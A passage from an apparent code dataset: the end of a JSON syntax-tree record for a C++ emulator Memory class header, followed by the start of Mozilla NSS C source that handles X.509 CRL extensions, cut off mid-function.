*dtcm9;\n unsigned char *mem7;\n unsigned char *wram7;\n unsigned char *wram;\n int ARM9EntryAddress;\n int ARM7EntryAddress;\n uint16_t vblank;\n uint32_t dtcmRegion;\n void loadCartridge();\n}", "parent": null, "children": [24], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 37, "column": 1}}, {"id": 24, "type": "identifier", "text": "Memory", "parent": 23, "children": [], "start_point": {"row": 10, "column": 6}, "end_point": {"row": 10, "column": 12}}, {"id": 25, "type": "labeled_statement", "text": "public:\n Memory(Cartridge*);", "parent": 23, "children": [26], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 12, "column": 27}}, {"id": 26, "type": "declaration", "text": "Memory(Cartridge*);", "parent": 25, "children": [27, 33], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 27}}, {"id": 27, "type": "macro_type_specifier", "text": "Memory(Cartridge*)", "parent": 26, "children": [28, 29], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 26}}, {"id": 28, "type": "identifier", "text": "Memory", "parent": 27, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 14}}, {"id": 29, "type": "type_descriptor", "text": "Cartridge*", "parent": 27, "children": [30, 31], "start_point": {"row": 12, "column": 15}, "end_point": {"row": 12, "column": 25}}, {"id": 30, "type": "type_identifier", "text": "Cartridge", "parent": 29, "children": [], "start_point": {"row": 12, "column": 15}, "end_point": {"row": 12, "column": 24}}, {"id": 31, "type": "abstract_pointer_declarator", "text": "*", "parent": 29, "children": [32], "start_point": {"row": 12, "column": 24}, "end_point": {"row": 12, "column": 25}}, {"id": 32, "type": "*", "text": "*", "parent": 31, "children": [], "start_point": {"row": 12, "column": 24}, "end_point": {"row": 12, "column": 25}}, {"id": 33, "type": "identifier", "text": "", "parent": 26, "children": [], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 12, "column": 26}}, {"id": 34, "type": "unary_expression", "text": "~Memory()", "parent": 23, "children": [35, 36], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 17}}, {"id": 35, "type": "~", "text": "~", "parent": 34, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 9}}, {"id": 36, "type": "call_expression", "text": "Memory()", "parent": 34, "children": [37, 38], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 17}}, {"id": 37, "type": "identifier", "text": "Memory", "parent": 36, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 15}}, {"id": 38, "type": "argument_list", "text": "()", "parent": 36, "children": [], "start_point": {"row": 13, "column": 15}, "end_point": {"row": 13, "column": 17}}, {"id": 39, "type": "declaration", "text": "int getARM9EntryAddress();", "parent": 23, "children": [40, 41], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 34}}, {"id": 40, "type": "primitive_type", "text": "int", "parent": 39, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 11}}, {"id": 41, "type": "function_declarator", "text": "getARM9EntryAddress()", "parent": 39, "children": [42, 43], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 33}}, {"id": 42, "type": "identifier", "text": "getARM9EntryAddress", "parent": 41, "children": [], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 31}}, {"id": 43, "type": "parameter_list", "text": "()", "parent": 41, "children": [], "start_point": {"row": 14, "column": 31}, "end_point": {"row": 14, "column": 33}}, {"id": 44, "type": "declaration", "text": "int getARM7EntryAddress();", "parent": 23, "children": [45, 46], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 34}}, {"id": 45, "type": "primitive_type", "text": "int", "parent": 44, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 11}}, {"id": 46, "type": "function_declarator", "text": "getARM7EntryAddress()", "parent": 44, "children": [47, 48], "start_point": {"row": 15, "column": 12}, "end_point": {"row": 15, "column": 33}}, {"id": 47, "type": "identifier", "text": "getARM7EntryAddress", "parent": 46, "children": [], "start_point": {"row": 15, "column": 12}, "end_point": {"row": 15, "column": 31}}, {"id": 48, "type": "parameter_list", "text": "()", "parent": 46, "children": [], "start_point": {"row": 15, "column": 31}, "end_point": {"row": 15, "column": 33}}, {"id": 49, "type": "declaration", "text": "uint32_t ARM9Load32(uint32_t);", "parent": 23, "children": [50, 51], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 38}}, {"id": 50, "type": "primitive_type", "text": "uint32_t", "parent": 49, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 16}}, {"id": 51, "type": "function_declarator", "text": "ARM9Load32(uint32_t)", "parent": 49, "children": [52, 53], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 37}}, {"id": 52, "type": "identifier", "text": "ARM9Load32", "parent": 51, "children": [], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 27}}, {"id": 53, "type": "parameter_list", "text": "(uint32_t)", "parent": 51, "children": [54], "start_point": {"row": 16, "column": 27}, "end_point": {"row": 16, "column": 37}}, {"id": 54, "type": "parameter_declaration", "text": "uint32_t", "parent": 53, "children": [55], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 36}}, {"id": 55, "type": "primitive_type", "text": "uint32_t", "parent": 54, "children": [], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 36}}, {"id": 56, "type": "declaration", "text": "uint16_t ARM9Load16(uint32_t);", "parent": 23, "children": [57, 58], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 38}}, {"id": 57, "type": "primitive_type", "text": "uint16_t", "parent": 56, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 16}}, {"id": 58, "type": "function_declarator", "text": "ARM9Load16(uint32_t)", "parent": 56, "children": [59, 60], "start_point": {"row": 17, "column": 17}, "end_point": {"row": 17, "column": 37}}, {"id": 59, "type": "identifier", "text": "ARM9Load16", "parent": 58, "children": [], "start_point": {"row": 17, "column": 17}, "end_point": {"row": 17, "column": 27}}, {"id": 60, "type": "parameter_list", "text": "(uint32_t)", "parent": 58, "children": [61], "start_point": {"row": 17, "column": 27}, "end_point": {"row": 17, "column": 37}}, {"id": 61, "type": "parameter_declaration", "text": "uint32_t", "parent": 60, "children": [62], "start_point": {"row": 17, "column": 28}, "end_point": {"row": 17, "column": 36}}, {"id": 62, "type": "primitive_type", "text": "uint32_t", "parent": 61, "children": [], "start_point": {"row": 17, "column": 28}, "end_point": {"row": 17, "column": 36}}, {"id": 63, "type": "declaration", "text": "uint8_t ARM9Load8(uint32_t);", "parent": 23, "children": [64, 65], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 36}}, {"id": 64, "type": "primitive_type", "text": "uint8_t", "parent": 63, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 15}}, {"id": 65, "type": "function_declarator", "text": "ARM9Load8(uint32_t)", "parent": 63, "children": [66, 67], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 35}}, {"id": 66, "type": "identifier", "text": "ARM9Load8", "parent": 65, "children": [], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 25}}, {"id": 67, "type": "parameter_list", "text": "(uint32_t)", "parent": 65, "children": [68], "start_point": {"row": 18, "column": 25}, "end_point": {"row": 18, "column": 35}}, {"id": 68, "type": "parameter_declaration", "text": "uint32_t", "parent": 67, "children": [69], "start_point": {"row": 18, "column": 26}, "end_point": {"row": 18, "column": 34}}, {"id": 69, "type": "primitive_type", "text": "uint32_t", "parent": 68, "children": [], "start_point": {"row": 18, "column": 26}, "end_point": {"row": 18, "column": 34}}, {"id": 70, "type": "declaration", "text": "void ARM9Store32(uint32_t, uint32_t);", "parent": 23, "children": [71, 72], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 45}}, {"id": 71, "type": "primitive_type", "text": "void", "parent": 70, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 12}}, {"id": 72, "type": "function_declarator", "text": "ARM9Store32(uint32_t, uint32_t)", "parent": 70, "children": [73, 74], "start_point": {"row": 19, "column": 13}, "end_point": {"row": 19, "column": 44}}, {"id": 73, "type": "identifier", "text": "ARM9Store32", "parent": 72, "children": [], "start_point": {"row": 19, "column": 13}, "end_point": {"row": 19, "column": 24}}, {"id": 74, "type": "parameter_list", "text": "(uint32_t, uint32_t)", "parent": 72, "children": [75, 77], "start_point": {"row": 19, "column": 24}, "end_point": {"row": 19, "column": 44}}, {"id": 75, "type": "parameter_declaration", "text": "uint32_t", "parent": 74, "children": [76], "start_point": {"row": 19, "column": 25}, "end_point": {"row": 19, "column": 33}}, {"id": 76, "type": "primitive_type", "text": "uint32_t", "parent": 75, "children": [], "start_point": {"row": 19, "column": 25}, "end_point": {"row": 19, "column": 33}}, {"id": 77, "type": "parameter_declaration", "text": "uint32_t", "parent": 74, "children": [78], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 43}}, {"id": 78, "type": "primitive_type", "text": "uint32_t", "parent": 77, "children": [], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 43}}, {"id": 79, "type": "declaration", "text": "void ARM9Store16(uint32_t, uint16_t);", "parent": 23, "children": [80, 81], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 45}}, {"id": 80, "type": "primitive_type", "text": "void", "parent": 79, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 12}}, {"id": 81, "type": "function_declarator", "text": "ARM9Store16(uint32_t, uint16_t)", "parent": 79, "children": [82, 83], "start_point": {"row": 20, "column": 13}, "end_point": {"row": 20, "column": 44}}, {"id": 82, "type": "identifier", "text": "ARM9Store16", "parent": 81, "children": [], "start_point": {"row": 20, "column": 13}, "end_point": {"row": 20, "column": 24}}, {"id": 83, "type": "parameter_list", "text": "(uint32_t, uint16_t)", "parent": 81, "children": [84, 86], "start_point": {"row": 20, "column": 24}, "end_point": {"row": 20, "column": 44}}, {"id": 84, "type": "parameter_declaration", "text": "uint32_t", "parent": 83, "children": [85], "start_point": {"row": 20, "column": 25}, "end_point": {"row": 20, "column": 33}}, {"id": 85, "type": "primitive_type", "text": "uint32_t", "parent": 84, "children": [], "start_point": {"row": 20, "column": 25}, "end_point": {"row": 20, "column": 33}}, {"id": 86, "type": "parameter_declaration", "text": "uint16_t", "parent": 83, "children": [87], "start_point": {"row": 20, "column": 35}, "end_point": {"row": 20, "column": 43}}, {"id": 87, "type": "primitive_type", "text": "uint16_t", "parent": 86, "children": [], "start_point": {"row": 20, "column": 35}, "end_point": {"row": 20, "column": 43}}, {"id": 88, "type": "declaration", "text": "void ARM9Store8(uint32_t, uint8_t);", "parent": 23, "children": [89, 90], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 43}}, {"id": 89, "type": "primitive_type", "text": "void", "parent": 88, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 12}}, {"id": 90, "type": "function_declarator", "text": "ARM9Store8(uint32_t, uint8_t)", "parent": 88, "children": [91, 92], "start_point": {"row": 21, "column": 13}, "end_point": {"row": 21, "column": 42}}, {"id": 91, "type": "identifier", "text": "ARM9Store8", "parent": 90, "children": [], "start_point": {"row": 21, "column": 13}, "end_point": {"row": 21, "column": 23}}, {"id": 92, "type": "parameter_list", "text": "(uint32_t, uint8_t)", "parent": 90, "children": [93, 95], "start_point": {"row": 21, "column": 23}, "end_point": {"row": 21, "column": 42}}, {"id": 93, "type": "parameter_declaration", "text": "uint32_t", "parent": 92, "children": [94], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 32}}, {"id": 94, "type": "primitive_type", "text": "uint32_t", "parent": 93, "children": [], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 32}}, {"id": 95, "type": "parameter_declaration", "text": "uint8_t", "parent": 92, "children": [96], "start_point": {"row": 21, "column": 34}, "end_point": {"row": 21, "column": 41}}, {"id": 96, "type": "primitive_type", "text": "uint8_t", "parent": 95, "children": [], "start_point": {"row": 21, "column": 34}, "end_point": {"row": 21, "column": 41}}, {"id": 97, "type": "declaration", "text": "DisplayEngineA *displayEngineA;", "parent": 23, "children": [98, 99], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 39}}, {"id": 98, "type": "type_identifier", "text": "DisplayEngineA", "parent": 97, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 22}}, {"id": 99, "type": "pointer_declarator", "text": "*displayEngineA", "parent": 97, "children": [100, 101], "start_point": {"row": 22, "column": 23}, "end_point": {"row": 22, "column": 38}}, {"id": 100, "type": "*", "text": "*", "parent": 99, "children": [], "start_point": {"row": 22, "column": 23}, "end_point": {"row": 22, "column": 24}}, {"id": 101, "type": "identifier", "text": "displayEngineA", "parent": 99, "children": [], "start_point": {"row": 22, "column": 24}, "end_point": {"row": 22, "column": 38}}, {"id": 102, "type": "labeled_statement", "text": "private:\n Cartridge *cartridge;", "parent": 23, "children": [103], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 25, "column": 29}}, {"id": 103, "type": "declaration", "text": "Cartridge *cartridge;", "parent": 102, "children": [104, 105], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 29}}, {"id": 104, "type": "type_identifier", "text": "Cartridge", "parent": 103, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 17}}, {"id": 105, "type": "pointer_declarator", "text": "*cartridge", "parent": 103, "children": [106, 107], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 28}}, {"id": 106, "type": "*", "text": "*", "parent": 105, "children": [], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 19}}, {"id": 107, "type": "identifier", "text": "cartridge", "parent": 105, "children": [], "start_point": {"row": 25, "column": 19}, "end_point": {"row": 25, "column": 28}}, {"id": 108, "type": "declaration", "text": "unsigned char *mem9;", "parent": 23, "children": [109, 112], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 28}}, {"id": 109, "type": "sized_type_specifier", "text": "unsigned char", "parent": 108, "children": [110, 111], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 21}}, {"id": 110, "type": "unsigned", "text": "unsigned", "parent": 109, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 16}}, {"id": 111, "type": "primitive_type", "text": "char", "parent": 109, "children": [], "start_point": {"row": 26, "column": 17}, "end_point": {"row": 26, "column": 21}}, {"id": 112, "type": "pointer_declarator", "text": "*mem9", "parent": 108, "children": [113, 114], "start_point": {"row": 26, "column": 22}, "end_point": {"row": 26, "column": 27}}, {"id": 113, "type": "*", "text": "*", "parent": 112, "children": [], "start_point": {"row": 26, "column": 22}, "end_point": {"row": 26, "column": 23}}, {"id": 114, "type": "identifier", "text": "mem9", "parent": 112, "children": [], "start_point": {"row": 26, "column": 23}, "end_point": {"row": 26, "column": 27}}, {"id": 115, "type": "declaration", "text": "unsigned char *itcm9;", "parent": 23, "children": [116, 119], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 29}}, {"id": 116, "type": "sized_type_specifier", "text": "unsigned char", "parent": 115, "children": [117, 118], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 21}}, {"id": 117, "type": "unsigned", "text": "unsigned", "parent": 116, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 16}}, {"id": 118, "type": "primitive_type", "text": "char", "parent": 116, "children": [], "start_point": {"row": 27, "column": 17}, "end_point": {"row": 27, "column": 21}}, {"id": 119, "type": "pointer_declarator", "text": "*itcm9", "parent": 115, "children": [120, 121], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 28}}, {"id": 120, "type": "*", "text": "*", "parent": 119, "children": [], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 23}}, {"id": 121, "type": "identifier", "text": "itcm9", "parent": 119, "children": [], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 28}}, {"id": 122, "type": "declaration", "text": "unsigned char *dtcm9;", "parent": 23, "children": [123, 126], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 29}}, {"id": 123, "type": "sized_type_specifier", "text": "unsigned char", "parent": 122, "children": [124, 125], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 21}}, {"id": 124, "type": "unsigned", "text": "unsigned", "parent": 123, "children": [], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 16}}, {"id": 125, "type": "primitive_type", "text": "char", "parent": 123, "children": [], "start_point": {"row": 28, "column": 17}, "end_point": {"row": 28, "column": 21}}, {"id": 126, "type": "pointer_declarator", "text": "*dtcm9", "parent": 122, "children": [127, 128], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 28}}, {"id": 127, "type": "*", "text": "*", "parent": 126, "children": [], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 23}}, {"id": 128, "type": "identifier", "text": "dtcm9", "parent": 126, "children": [], "start_point": {"row": 28, "column": 23}, "end_point": {"row": 28, "column": 28}}, {"id": 129, "type": "declaration", "text": "unsigned char *mem7;", "parent": 23, "children": [130, 133], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 28}}, {"id": 130, "type": "sized_type_specifier", "text": "unsigned char", "parent": 129, "children": [131, 132], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 21}}, {"id": 131, "type": "unsigned", "text": "unsigned", "parent": 130, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 16}}, {"id": 132, "type": "primitive_type", "text": "char", "parent": 130, "children": [], "start_point": {"row": 29, "column": 17}, "end_point": {"row": 29, "column": 21}}, {"id": 133, "type": "pointer_declarator", "text": "*mem7", "parent": 129, "children": [134, 135], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 27}}, {"id": 134, "type": "*", "text": "*", "parent": 133, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 23}}, {"id": 135, "type": "identifier", "text": "mem7", "parent": 133, "children": [], "start_point": {"row": 29, "column": 23}, "end_point": {"row": 29, "column": 27}}, {"id": 136, "type": "declaration", "text": "unsigned char *wram7;", "parent": 23, "children": [137, 140], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 29}}, {"id": 137, "type": "sized_type_specifier", "text": "unsigned char", "parent": 136, "children": [138, 139], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 21}}, {"id": 138, "type": "unsigned", "text": "unsigned", "parent": 137, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 16}}, {"id": 139, "type": "primitive_type", "text": "char", "parent": 137, "children": [], "start_point": {"row": 30, "column": 17}, "end_point": {"row": 30, "column": 21}}, {"id": 140, "type": "pointer_declarator", "text": "*wram7", "parent": 136, "children": [141, 142], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 28}}, {"id": 141, "type": "*", "text": "*", "parent": 140, "children": [], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 23}}, {"id": 142, "type": "identifier", "text": "wram7", "parent": 140, "children": [], "start_point": {"row": 30, "column": 23}, "end_point": {"row": 30, "column": 28}}, {"id": 143, "type": "declaration", "text": "unsigned char *wram;", "parent": 23, "children": [144, 147], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 28}}, {"id": 144, "type": "sized_type_specifier", "text": "unsigned char", "parent": 143, "children": [145, 146], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 21}}, {"id": 145, "type": "unsigned", "text": "unsigned", "parent": 144, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 16}}, {"id": 146, "type": "primitive_type", "text": "char", "parent": 144, "children": [], "start_point": {"row": 31, "column": 17}, "end_point": {"row": 31, "column": 21}}, {"id": 147, "type": "pointer_declarator", "text": "*wram", "parent": 143, "children": [148, 149], "start_point": {"row": 31, "column": 22}, "end_point": {"row": 31, "column": 27}}, {"id": 148, "type": "*", "text": "*", "parent": 147, "children": [], "start_point": {"row": 31, "column": 22}, "end_point": {"row": 31, "column": 23}}, {"id": 149, "type": "identifier", "text": "wram", "parent": 147, "children": [], "start_point": {"row": 31, "column": 23}, "end_point": {"row": 31, "column": 27}}, {"id": 150, "type": "declaration", "text": "int ARM9EntryAddress;", "parent": 23, "children": [151, 152], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 29}}, {"id": 151, "type": "primitive_type", "text": "int", "parent": 150, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 11}}, {"id": 152, "type": "identifier", "text": "ARM9EntryAddress", "parent": 150, "children": [], "start_point": {"row": 32, "column": 12}, "end_point": {"row": 32, "column": 28}}, {"id": 153, "type": "declaration", "text": "int ARM7EntryAddress;", "parent": 23, "children": [154, 155], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 29}}, {"id": 154, "type": "primitive_type", "text": "int", "parent": 153, "children": [], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 11}}, {"id": 155, "type": "identifier", "text": "ARM7EntryAddress", "parent": 153, "children": [], "start_point": {"row": 33, "column": 12}, "end_point": {"row": 33, "column": 28}}, {"id": 156, "type": "declaration", "text": "uint16_t vblank;", "parent": 23, "children": [157, 158], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 24}}, {"id": 157, "type": "primitive_type", "text": "uint16_t", "parent": 156, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 16}}, {"id": 158, "type": "identifier", "text": "vblank", "parent": 156, "children": [], "start_point": {"row": 34, "column": 17}, "end_point": {"row": 34, "column": 23}}, {"id": 159, "type": "declaration", "text": "uint32_t dtcmRegion;", "parent": 23, "children": [160, 161], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 28}}, {"id": 160, "type": "primitive_type", "text": "uint32_t", "parent": 159, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 16}}, {"id": 161, "type": "identifier", "text": "dtcmRegion", "parent": 159, "children": [], "start_point": {"row": 35, "column": 17}, "end_point": {"row": 35, "column": 27}}, {"id": 162, "type": "declaration", "text": "void loadCartridge();", "parent": 23, "children": [163, 164], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 29}}, {"id": 163, "type": "primitive_type", "text": "void", "parent": 162, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 12}}, {"id": 164, "type": "function_declarator", "text": "loadCartridge()", "parent": 162, "children": [165, 166], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 28}}, {"id": 165, "type": "identifier", "text": "loadCartridge", "parent": 164, "children": [], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 26}}, {"id": 166, "type": "parameter_list", "text": "()", "parent": 164, "children": [], "start_point": {"row": 36, "column": 26}, "end_point": {"row": 36, "column": 28}}]}, "node_categories": {"declarations": {"functions": [23, 41, 46, 51, 58, 65, 72, 81, 90, 164], "variables": [18, 26, 39, 44, 49, 54, 56, 61, 63, 68, 70, 75, 77, 79, 84, 86, 88, 93, 95, 97, 103, 108, 115, 122, 129, 136, 143, 150, 153, 156, 159, 162], "classes": [], "imports": [3, 4, 6, 7, 9, 10, 12, 13, 15, 16], "modules": [], "enums": []}, "statements": {"expressions": [34, 36], "assignments": [], "loops": [], "conditionals": [19, 20, 22, 24, 27, 28, 30, 33, 37, 42, 47, 52, 59, 66, 73, 82, 91, 98, 101, 104, 107, 109, 114, 116, 121, 123, 128, 130, 135, 137, 142, 144, 149, 152, 155, 158, 161, 165], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8, 11, 14, 17], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 23, "universal_type": "function", "name": "Memory", "text_snippet": "class Memory {\n public:\n Memory(Cartridge*);\n ~Memory();\n int getARM9EntryAd"}, {"node_id": 41, "universal_type": "function", "name": "unknown", "text_snippet": "getARM9EntryAddress()"}, {"node_id": 46, "universal_type": "function", "name": "unknown", "text_snippet": "getARM7EntryAddress()"}, {"node_id": 51, "universal_type": "function", "name": "unknown", "text_snippet": "ARM9Load32(uint32_t)"}, {"node_id": 58, "universal_type": "function", "name": "unknown", "text_snippet": "ARM9Load16(uint32_t)"}, {"node_id": 65, "universal_type": "function", "name": "unknown", "text_snippet": "ARM9Load8(uint32_t)"}, {"node_id": 72, "universal_type": "function", "name": "unknown", "text_snippet": "ARM9Store32(uint32_t, uint32_t)"}, {"node_id": 81, "universal_type": "function", "name": "unknown", "text_snippet": "ARM9Store16(uint32_t, uint16_t)"}, {"node_id": 90, "universal_type": "function", "name": "unknown", "text_snippet": "ARM9Store8(uint32_t, uint8_t)"}, {"node_id": 164, "universal_type": "function", "name": "unknown", "text_snippet": "loadCartridge()"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include \"cartridge.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"displayenginea.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <memory>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <stdio.h>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <string.h>\n"}, {"node_id": 16, "text": "#include"}]}, "original_source_code": "#pragma once\n\n#include \"cartridge.h\"\n#include \"displayenginea.h\"\n#include <memory>\n#include <stdio.h>\n#include <string.h>\n\nusing namespace std;\n\nclass Memory {\n public:\n Memory(Cartridge*);\n ~Memory();\n int getARM9EntryAddress();\n int getARM7EntryAddress();\n uint32_t ARM9Load32(uint32_t);\n uint16_t ARM9Load16(uint32_t);\n uint8_t ARM9Load8(uint32_t);\n void ARM9Store32(uint32_t, uint32_t);\n void ARM9Store16(uint32_t, uint16_t);\n void ARM9Store8(uint32_t, uint8_t);\n DisplayEngineA *displayEngineA;\n\n private:\n Cartridge *cartridge;\n unsigned char *mem9;\n unsigned char *itcm9;\n unsigned char *dtcm9;\n unsigned char *mem7;\n unsigned char *wram7;\n unsigned char *wram;\n int ARM9EntryAddress;\n int ARM7EntryAddress;\n uint16_t vblank;\n uint32_t dtcmRegion;\n void loadCartridge();\n};"}
81,155
c
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Code for dealing with x.509 v3 crl and crl entries extensions. * * $Id: crlv2.c,v 1.7 2012/04/25 14:49:27 gerv%gerv.net Exp $ */ #include "cert.h" #include "secitem.h" #include "secoid.h" #include "secoidt.h" #include "secder.h" #include "secasn1.h" #include "certxutl.h" SECStatus CERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value) { return (cert_FindExtensionByOID (crl->extensions, oid, value)); } SECStatus CERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value) { return (cert_FindExtension (crl->extensions, tag, value)); } /* Callback to set extensions and adjust verison */ static void SetCrlExts(void *object, CERTCertExtension **exts) { CERTCrl *crl = (CERTCrl *)object; crl->extensions = exts; DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2); } void * CERT_StartCRLExtensions(CERTCrl *crl) { return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts)); } static void SetCrlEntryExts(void *object, CERTCertExtension **exts) { CERTCrlEntry *crlEntry = (CERTCrlEntry *)object; crlEntry->extensions = exts; } void * CERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry) { return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts)); } SECStatus CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl, SECItem *value) { SECItem encodedExtenValue; SECItem *tmpItem = NULL; SECStatus rv; void *mark = NULL; encodedExtenValue.data = NULL; encodedExtenValue.len = 0; rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER, &encodedExtenValue); if ( rv != SECSuccess ) return (rv); mark = PORT_ArenaMark(arena); tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue); if (tmpItem) { rv = SEC_QuickDERDecodeItem (arena, value, SEC_ASN1_GET(SEC_IntegerTemplate), tmpItem); } else { rv = SECFailure; } PORT_Free (encodedExtenValue.data); if (rv == SECFailure) { PORT_ArenaRelease(arena, mark); } else { PORT_ArenaUnmark(arena, mark); } return (rv); } SECStatus CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry, CERTCRLEntryReasonCode *value) { SECItem wrapperItem = {siBuffer,0}; SECItem tmpItem = {siBuffer,0}; SECStatus rv; PRArenaPool *arena = NULL; arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE); if ( ! arena ) { return(SECFailure); } rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, &wrapperItem); if ( rv != SECSuccess ) { goto loser; } rv = SEC_QuickDERDecodeItem(arena, &tmpItem, SEC_ASN1_GET(SEC_EnumeratedTemplate), &wrapperItem); if ( rv != SECSuccess ) { goto loser; } *value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem); loser: if ( arena ) { PORT_FreeArena(arena, PR_FALSE); } if ( wrapperItem.data ) { PORT_Free(wrapperItem.data); } return (rv); } SECStatus CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value) { SECItem encodedExtenValue; SECItem decodedExtenValue = {siBuffer,0}; SECStatus rv; encodedExtenValue.data = 